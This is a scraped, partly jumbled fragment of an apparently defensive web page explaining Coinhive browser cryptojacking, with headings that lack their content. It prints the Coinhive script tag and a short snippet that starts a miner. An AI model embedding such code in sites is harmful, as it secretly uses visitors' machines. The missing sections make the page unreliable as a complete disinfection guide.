Type:<\/strong> Script<\/p>\n Degree of destruction:<\/strong> low<\/p>\n Prevalence:<\/strong> high<\/p>\n Names of the malware:<\/strong><\/p>\n Web Miner is a script that will be placed on a site host and the script will be run on the browser and start to extract the cryptocurrency when the user visits the webpage. In fact, you have a computer that is the aim of cybercriminals and they extract cryptocurrency through it.<\/p>\n There are three possibilities for a site to be infected:<\/strong><\/p>\n Coinhive malware is a type of cryptocurrency extract script and each client who wants to connect to the infected site will be exposed to infection. So the Miner script will be run on his\/her system.<\/p>\n The way of using the malware script is as follows:<\/p>\n <script src=\u201dhttps:\/\/coinhive.com\/lib\/coinhive.min.js\u201d><\/script>\n
What is Web Miner?<\/h3>\n
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What is Coinhive malware?<\/h3>\n
Technical Explanation<\/h2>\n
Signs of infection<\/strong><\/h3>\n
\n<script>
\nvar miner = new CoinHive.User(\u2018SITE_KEY\u2019, \u2018john-doe\u2019);
\nminer.start();
\n<\/script><\/p>\nHow to deal with it and disinfect the system<\/h2>\n